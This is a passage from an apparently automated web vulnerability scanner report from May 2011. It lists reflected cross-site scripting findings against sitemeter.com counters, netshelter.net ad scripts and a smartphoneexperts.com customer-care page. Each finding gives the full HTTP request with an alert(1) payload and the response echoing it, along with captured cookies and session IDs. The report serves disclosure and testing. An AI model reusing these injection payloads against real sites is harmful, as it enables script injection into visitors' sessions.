3TaTYMVxQyOpakzryCsBb1QMcxxTxVd7495aTWd8W1uYfsa9lUSQm6Px99bWr2RVRxuk2yEM0JJ22tYCLP7uBw8UeaI1M5GbBxDi2WbRHCKHIX9Sz_QtJiSnym5S_qsqKzl484XXogFqezIO3vueH6XrbdeBrsNvqpBtQW35VrocWM1hJEMrVYqmvz7xJtELJ71uRTTECD0HA2vYVMATXXOR4kic7TP4ECMD5bQt22Ufb1ASjVpjW22ISOFg-eZ4nuypVoX3-sqUKgtXKTyeeAJ3WoNBTpFHNeMdsJNdx7bmFAC56JAHYn97lyiGJ5XDJCkUNkw_be5i-Fx9NF-BKeFGAMPAqpBAinh0HpYRGL1IpFR4AB4o7EViaAPEO7EwRwSKXjmcb3GKio9SBOsgaqPfeFsasCu54shXpdyVhXu91m5wiW91g1mAzej0c7wnGxz5vZRvAyuJ5rFZdtrURFIre1ZfDRnDTWzff-YlyXP_zUgfGc1siUV7BtDQfA7IBhY8pUeWxnJe61Raa9uTyiNiaLtdI3rxLW4kElZ2z2lu4o7hWIeqXi7g7v-xJh2d3TaTYML11pzoZIlFkYCIGVGm_tUjxVd7495aTWd8W1uYfsa9nlK9dyZVYIz5pmDpzdU80QQkZpM_cVFXYTcTTPOspL-TBLfO2ZZ5wOsMI8xMfjrvrnuyo8Yez2B_AzlVUYglieXXogFqezIO3vueH6XrbdeOZqLTJ2eUC5VtOBQseHiE81nClsShNFF0lz8B3FOROwHTKbP2IH89nbviHBnlpbRDDco7mBS3_DJ0ZnqsKZKeTVpjW22ISOFg-eZ4nuypVotMax7cw1A0lomZOewLLuUzHWvz6IKIMXKnKL80iX025NYG1qkKS0O8LGs7luRUbTpMVbMDENDpvIJh2_kOeZwWW0-b-WJf0ZFlMOgj84vlCimF9cP6eLyeThS4cELoZF7hIMY-yiS6od8aiwiVy6K8hyJ0-yKCmYc6DEnkoIDjLUURQ9jCbj0adNONAbHq6OIauKDPsVyaYkWyAz1a3QLsZ0HFEk9FUwZlIZoC4PKchFMfXO25PtkA1FJuDF1eIqRRk7NbH_3KXaXpegXdoohM0M5HiSWAEvqit8JfBxvjBBCecmNOFvmnxZXlybKUM3qIhRpr8zAond1hyHy2KCxQ9jRTaSUh9q8NAYC-8-qkSZEZsmx23qKVCrqZDyeipaIi4-WrfUh7IPblkcEwLIfWk4JnPVlR_zGm4PPqzfx4-ZPuIxR87K17SR-59M9UpIVvIMltY5lVfKu7zjIgIpMBKB2P8TaeZb5SMS1Kn2fJf0-MGZW4U9vWHTndk9ZYnTYKRbzB2AW8sPYtx1gLnWIDsYBLT8b4yTE_t-fjXYNBuH2MTsqi1WP1f5naPDjKNVGGv49osHpNOU5hR-g_XrO60jJc9MudtXKgUybYsjSwmSw3Whqt4otLu1R9f4pMroY6TrnX9AFtcCOq4KtB3OqN2gLia6NWPazuloW1Dp_gmgtfmkSSGnmz7Ck--msIbUItDCaX4V_0YzpDgobT5myGAQ1jpLDCI7HiZjNNO0_95EX9SUHeo0SvSjgEUZJK2gWAKmardOPRrryF1DhECcp1-YMQnoV4ZAArTQ0YurxnNN6cMRpOMh2nE5XzpH9jU_75X6gaFQNyuWz4EiPqighnBW1K7ySrDy2erbCyocIlO9iKCeGUvo-FRYRZN7b2HzshKpWim7EvVYj9LxNPbnlLRl7SF6Fz-Cqk4ilR2m1sd6XpoV6J-HdTmFEl8Fex_S_sTGaqkuGDnpWV_Epn14CgCD-1Od2j93-G993DJLn6laQk0A_YEjXCNxN4ufXJe2s8taXVc1ZwCaKwQ-ReuFBa_BvA0MPyd7JlyBvMOrx4RsY1dMYwNR_ohNoy9a29HQKTTBeSdexy7NjxMrQdbG848mPsvXEVp1Zp9tlw0PafTHwRamGgGanwtSRVH2wEa3NxSTCsrM00Brun6QttnrZ4i40yYFMUM2IND36b7ZFw4; fc=qPpK4X8K7ZjxVx0VJZDcdB_D1mN3lHI_BinJ1LdrOAbDh9xILOy7cWXWYifPzZ3iZjzoSdlEeqq3zCQrton2D32iD1a2418t8vlUtDGalV-JhisFugd5-2PmgEb-dzYcx_84B0Gt7iZQiKNqGC2CofHgZs6hnwrt4AvKtyKV8klPR1hRXEWvUhiTNhz33U4d9hTEpcCaiTjdUImk_rGRYl95QzLPGgcS4PLuvzPSDFoeX72gpvVoMR_dT1IU83itQkcPCNDBJR1s8ojl7c8L5k9KWBxjpL-6lYKR74fQmyE; pf=WmCQSJv_88YAF1TaCEjacvtFyKtKd3nkimHPVBGJrCArW05u4B9BwnHxy5LHSNbs0PyvhiQ9hEGFvp1qMvxzBcdiicNNmmE_aI2n_-oR-aRG9eqUO6PdyPlHytyWBeL6pt4N9d3OY-Qo6M3zGftguNTbm-VGCKrn7KG61o8a-hlxQgbL-MXnxJnxbWK81XM2fNbwnskl80J7FrpArydV4msv5xJnc6wiNkkgoc9ZHAqEvAXfc_b9CYsOLM4ObfRS-yQ0IxDS6yGV0bt0Oz4pJzQ3Hu9GorHJq3pkzhhXE4dM0xncvVUD6tMlnnlm_qWsojASvNxNlCtZvel71OhRg1_acYxwuGBwWmnpT3WVNmeWKUlZO7GlHHuYkG_xUYpdlRr7vUCIaoiDaMmpt_PvLCOUyLGtO0hHJuwGY5T09JX2RCeAmas1by9-2jjXtHbxIU6XTk6RPEnQXT9x2zEmWfAeEJZ2W4XMeMQpqzhWB_34UH3sPqU14UWUW_0z8Z0heNyepssmwJo9AEHB3dcHG8NqNopQF7bmOYrUClo2LIAxUFIqqMfzF-f5IilV9DF2EEtf1qwB8GY1P6ISMC2NEE-NukVybOAFf3snxZsusnThrdw025CqgpXbAJf_ZgK04z5LE7vpNsVQaepPKy5giom1bq2yFvVGruUD-0Zmu_IOz-UlYiPBN7JyoSoKGJwMowB-sj_YCAwsoyO3MSAriA-6SvpE8vfm17M_AiAxw4nAd1Y9GjRixW8BKZaPBicaTSnQ_qW1THdHtsDrSOwE7yWjUosqwui97JSt4J0g_MOMd0ReLIPTEksHwzd4gYkpoMm2n6Nulr0bAVvGt4WcZWdCKTjb3Ww3q4Lyh_VyGMuPK371XlXjo5X46eVqRbV699MOJ5eDdshYLSs5LFoOgILjO_vdFh0XnPmUquTICkH1HrsiJSZNWOX0SyN8dywaeYYZUTlRetsuBzMcxMWLQLNyiRU1bJ5Qpb7GomgPhXBwcMjXa09KP5HzekSxDcQK0SJw0JMmSyeQM3pYTVx-Ci-FU5aKfMy17HNvPHxNvxNrRXY1izURX-lyALi1AlxuBXTDiJUS-OqKWjm2DD4CuggKG3dUzHMmu04fSX5Ad4nEc6NlGzZLMuoExgCCt30kp2pmOmYcQYMZyZ05DubgihMl8PJOwcr8ldScAKqk7rGGnUh27gMWCyrnP1Di5AGzTucfcXTrqV1UJKyBhGxFYcQFai9M2J3rqJmFUgQdN5ATDIRwfK3uozaJUKhU4qVipaL_GD-TOTelik5DYCvXIYIInb3nfIa-ebQa7olHWWH486R4yxje4LN8GWCWWRe4IR0I9DtTjuVzRJkyZ8n66XpUPlCRi3tlvuMEH6BKrtjGsUA2wOoIXFuaM_JUwMHDgab4_aPrZdgl9Uf7tvD9rgyRTxnR6YKNm8Gu6ALXRmCYGTIP8i-wsqx8QkqNgi0F_hs9UZaVZDpy-HyTAsx-Y51cz4yJITcb0FaAWC4QbaWSbbOECFNVbSmOiTVVH4eEKD1WvX5M7UplxrzwIhN9Mwkgo1sMiNanUUl1UyNj_Qxjp4iBCha2ShvDZxpY4-NTPO_cWHxychz2AkV4XXIJ0g; rrs=1%7C2%7C3%7C4%7C1002%7C6%7C7%7C7%7C9%7C1001%7C1002%7C1003%7C10%7C1004%7Cundefined%7C12%7Cundefined%7C1007%7C1008; rds=15104%7C15104%7C15104%7C15104%7C15085%7C15104%7C15104%7C15082%7C15104%7C15104%7C15104%7C15104%7C15104%7C15104%7Cundefined%7C15104%7Cundefined%7C15097%7C15093; rv=1; uid=2931142961646634775

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=2931142961646634775; Domain=.turn.com; Expires=Sun, 06-Nov-2011 13:23:50 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:23:50 GMT
Content-Length: 377

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
   src="http://cdn.turn.com/server/ddc.htm?uid=2931142961646634775&rnd=2514884250605670451&fpid=4&nu=n&t=&sp=e00a3"><script>alert(1)</script>97ff336306d&purl="
   marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"
   scrolling="no">
...[SNIP]...

4.228. http://s26.sitemeter.com/js/counter.asp [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s26.sitemeter.com
Path:	/js/counter.asp

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eebef'%3balert(1)//7d3565102cb was submitted in the site parameter. This input was echoed as eebef';alert(1)//7d3565102cb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /js/counter.asp?site=s26slashgeareebef'%3balert(1)//7d3565102cb HTTP/1.1
Host: s26.sitemeter.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 10 May 2011 13:31:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Content-Length: 7322
Content-Type: application/x-javascript
Expires: Tue, 10 May 2011 13:41:54 GMT
Set-Cookie: IP=173%2E193%2E214%2E243; path=/js
Cache-control: private

// Copyright (c)2006 Site Meter, Inc.
// <![CDATA[
var SiteMeter =
{
   init:function( sCodeName, sServerName, sSecurityCode )
   {
       SiteMeter.CodeName = sCodeName;
       SiteMeter.ServerName = sServe
...[SNIP]...
addEventListener(sEvent, func, false);
       else
           if (obj.attachEvent)
            obj.attachEvent( "on"+sEvent, func );
           else
               return false;
       return true;
   }

}

SiteMeter.init('s26slashgeareebef';alert(1)//7d3565102cb', 's26.sitemeter.com', '');

var g_sLastCodeName = 's26slashgeareebef';alert(1)//7d3565102cb';
// ]]>
...[SNIP]...

4.229. http://s26.sitemeter.com/js/counter.js [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s26.sitemeter.com
Path:	/js/counter.js

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e6909'%3balert(1)//c15b181ddc1 was submitted in the site parameter. This input was echoed as e6909';alert(1)//c15b181ddc1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /js/counter.js?site=s26slashgeare6909'%3balert(1)//c15b181ddc1 HTTP/1.1
Host: s26.sitemeter.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Tue, 10 May 2011 13:31:01 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Content-Length: 7322
Content-Type: application/x-javascript
Expires: Tue, 10 May 2011 13:41:01 GMT
Set-Cookie: IP=173%2E193%2E214%2E243; path=/js
Cache-control: private

// Copyright (c)2006 Site Meter, Inc.
// <![CDATA[
var SiteMeter =
{
   init:function( sCodeName, sServerName, sSecurityCode )
   {
       SiteMeter.CodeName = sCodeName;
       SiteMeter.ServerName = sServe
...[SNIP]...
addEventListener(sEvent, func, false);
       else
           if (obj.attachEvent)
            obj.attachEvent( "on"+sEvent, func );
           else
               return false;
       return true;
   }

}

SiteMeter.init('s26slashgeare6909';alert(1)//c15b181ddc1', 's26.sitemeter.com', '');

var g_sLastCodeName = 's26slashgeare6909';alert(1)//c15b181ddc1';
// ]]>
...[SNIP]...

4.230. http://samsungsmarttvs.netshelter.net/fixed_placement.js.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://samsungsmarttvs.netshelter.net
Path:	/fixed_placement.js.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d458"%3balert(1)//01794fd5e45 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3d458";alert(1)//01794fd5e45 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /fixed_placement.js.php?publisher=Slash/3d458"%3balert(1)//01794fd5e45Gear HTTP/1.1
Host: samsungsmarttvs.netshelter.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Date: Tue, 10 May 2011 13:36:07 GMT
Server: Apache
Set-Cookie: AWSELB=BFA573330611949355BB86A8A9A3DA7EE06D19CC47AD49B3B77CBB01676CC372A2DA1B0846DC242E62C3DB991105EE577CCB1D14F730D4D02794E67AE70465498FAB44B13F;PATH=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Connection: keep-alive
Content-Length: 19957

var NS_26_2_useDoubleClickCodes = ('%c'.length != 2);

// SPECIFIC SETUP BELOW
// Click URLs

// name of the campaign - any string - will be displayed in reporting as this
var NS_26_2_adCampaign="Samsung Smart TVs Spring 2011";
// name of the creative - any string - will be displayed in reporting as this
var NS_26_2_adCreative="Fixed Placement: Slash/3d458";alert(1)//01794fd5e45Gear";
// ad size - any string - but shoud be standard IAB size - will be displayed in reporting as this
var NS_26_2_adSize="300x860";
// site name - any string - %s is the DART site variable - will be
...[SNIP]...

4.231. http://samsungsmarttvs.netshelter.net/fixed_placement.js.php [publisher parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://samsungsmarttvs.netshelter.net
Path:	/fixed_placement.js.php

Issue detail

The value of the publisher request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3f8d5"%3balert(1)//cdde97f729b was submitted in the publisher parameter. This input was echoed as 3f8d5";alert(1)//cdde97f729b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /fixed_placement.js.php?publisher=SlashGear3f8d5"%3balert(1)//cdde97f729b HTTP/1.1
Host: samsungsmarttvs.netshelter.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Date: Tue, 10 May 2011 13:35:09 GMT
Server: Apache
Set-Cookie: AWSELB=BFA573330611949355BB86A8A9A3DA7EE06D19CC47AD49B3B77CBB01676CC372A2DA1B0846DC242E62C3DB991105EE577CCB1D14F730D4D02794E67AE70465498FAB44B13F;PATH=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Connection: keep-alive
Content-Length: 19954

var NS_26_2_useDoubleClickCodes = ('%c'.length != 2);

// SPECIFIC SETUP BELOW
// Click URLs

// name of the campaign - any string - will be displayed in reporting as this
var NS_26_2_adCampaign="Samsung Smart TVs Spring 2011";
// name of the creative - any string - will be displayed in reporting as this
var NS_26_2_adCreative="Fixed Placement: SlashGear3f8d5";alert(1)//cdde97f729b";
// ad size - any string - but shoud be standard IAB size - will be displayed in reporting as this
var NS_26_2_adSize="300x860";
// site name - any string - %s is the DART site variable - will be dis
...[SNIP]...

4.232. http://samsungsmarttvs.netshelter.net/video_fixed_placement.js.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://samsungsmarttvs.netshelter.net
Path:	/video_fixed_placement.js.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ad10"%3balert(1)//d628efe10f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8ad10";alert(1)//d628efe10f1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /video_fixed_placement.js.php?publisher=Slash/8ad10"%3balert(1)//d628efe10f1Gear HTTP/1.1
Host: samsungsmarttvs.netshelter.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Date: Tue, 10 May 2011 13:36:06 GMT
Server: Apache
Set-Cookie: AWSELB=BFA573330611949355BB86A8A9A3DA7EE06D19CC47AD49B3B77CBB01676CC372A2DA1B0846DC242E62C3DB991105EE577CCB1D14F730D4D02794E67AE70465498FAB44B13F;PATH=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Connection: keep-alive
Content-Length: 19967

var NS_26_3_useDoubleClickCodes = ('%c'.length != 2);

// SPECIFIC SETUP BELOW
// Click URLs

// name of the campaign - any string - will be displayed in reporting as this
var NS_26_3_adCampaign="Samsung Smart TVs Spring 2011";
// name of the creative - any string - will be displayed in reporting as this
var NS_26_3_adCreative="Video Fixed Placement: Slash/8ad10";alert(1)//d628efe10f1Gear";;
// ad size - any string - but shoud be standard IAB size - will be displayed in reporting as this
var NS_26_3_adSize="300x860";
// site name - any string - %s is the DART site variable - will b
...[SNIP]...

4.233. http://samsungsmarttvs.netshelter.net/video_fixed_placement.js.php [publisher parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://samsungsmarttvs.netshelter.net
Path:	/video_fixed_placement.js.php

Issue detail

The value of the publisher request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad6e4"%3balert(1)//dede74743d5 was submitted in the publisher parameter. This input was echoed as ad6e4";alert(1)//dede74743d5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /video_fixed_placement.js.php?publisher=SlashGearad6e4"%3balert(1)//dede74743d5 HTTP/1.1
Host: samsungsmarttvs.netshelter.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Date: Tue, 10 May 2011 13:35:09 GMT
Server: Apache
Set-Cookie: AWSELB=BFA573330611949355BB86A8A9A3DA7EE06D19CC47F823998D21DDBB643BDD62C22DF808DD9845A95AFD7A73924341963A0C081E5D497E87A4D216C8052B688488891F4CBD;PATH=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.4
Connection: keep-alive
Content-Length: 19964

var NS_26_3_useDoubleClickCodes = ('%c'.length != 2);

// SPECIFIC SETUP BELOW
// Click URLs

// name of the campaign - any string - will be displayed in reporting as this
var NS_26_3_adCampaign="Samsung Smart TVs Spring 2011";
// name of the creative - any string - will be displayed in reporting as this
var NS_26_3_adCreative="Video Fixed Placement: SlashGearad6e4";alert(1)//dede74743d5";;
// ad size - any string - but shoud be standard IAB size - will be displayed in reporting as this
var NS_26_3_adSize="300x860";
// site name - any string - %s is the DART site variable - will be di
...[SNIP]...

4.234. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6eabd"-alert(1)-"2ec977d129 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare6eabd"-alert(1)-"2ec977d129/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized= HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: http://store.androidcentral.com/content/customercare/index.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:06:33 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: store_id_secure=deleted; expires=Mon, 10-May-2010 14:06:31 GMT; path=/; secure; httponly
Set-Cookie: store_id_secure=15; path=/; secure; httponly
Set-Cookie: PHPSESSID=t9v2isfjo83hbgj2ca7ub95ma4; expires=Fri, 10-Jun-2011 14:06:32 GMT; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: visitor_id=57e98fb80a186695d4172a973b05110a; expires=Sun, 08-May-2016 14:06:32 GMT; path=/
Set-Cookie: cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:06:31 GMT; path=/; httponly
Set-Cookie: cookie_treo_model=1317; expires=Tue, 09-Apr-2013 14:06:32 GMT; path=/; httponly
Set-Cookie: device_id_history=1317; path=/; httponly
Content-Length: 64875

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
evice)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare6eabd"-alert(1)-"2ec977d129/page-status.htm&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.235. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 725a7"-alert(1)-"159307def4264512a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Request

GET /content/customercare725a7"-alert(1)-"159307def4264512a/page-status.htm?data_process=billing&order_id=&zip_code=&process=login&I2.x=79&I2.y=5 HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cache-Control: max-age=0
Origin: https://secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v4he5hjga328e0btuv0u9apu5; store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:10:23 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64865

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
evice)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare725a7"-alert(1)-"159307def4264512a/page-status.htm&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

4.236. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5c515"-alert(1)-"7bf535b9c379d72a2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Request

GET /content/customercare/page-status.htm5c515"-alert(1)-"7bf535b9c379d72a2?data_process=billing&order_id=&zip_code=&process=login&I2.x=79&I2.y=5 HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cache-Control: max-age=0
Origin: https://secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v4he5hjga328e0btuv0u9apu5; store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:10:43 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Accel-Expires: 0
Content-Length: 23547

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
setCookie('initializeDeviceSelector','true',1);
